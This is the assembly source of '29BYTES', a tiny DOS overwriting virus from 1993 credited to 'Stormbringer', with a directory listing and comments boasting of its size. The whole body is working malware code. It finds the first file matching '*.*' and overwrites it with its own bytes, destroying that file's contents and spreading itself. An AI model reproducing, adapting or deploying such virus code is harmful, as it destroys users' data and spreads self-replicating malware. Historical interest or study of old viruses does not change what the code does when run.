12/26/1993  03:24a                 943 29BYTES.ASM

12/26/1993  03:25a                  29 29BYTES.COM

;Smallest in the trivial series of viruses, I think.... 

;Last I saw was 30 bytes - this one goes to 29.

;Code by Stormbringer... stupid virus, but small.



.model tiny

.radix 16

.code

        org 100

start:

        

FindFile:        

        xchg    cx,ax           ;ax defaults to zero on runtime - cx doesn't

        push    si              ;si defaults to 100h under dos - use this l8r

        mov     dx,offset filemask

        mov     ah,4e

        int     21



OverwriteFile:

        mov     dx,9e

        mov     ah,3c

        int     21



WriteVirus:        

        xchg    bx,ax

        mov     ah,40

        pop     dx              ;get 100h from si earlier for write pointer

        mov     cl,endvir-start ;move only to CL, CH is already zero

        int     21



Terminate:

        ret                     ;terminate by returning to PSP (Int 20)



filemask        db      '*.*',0

endvir:

end start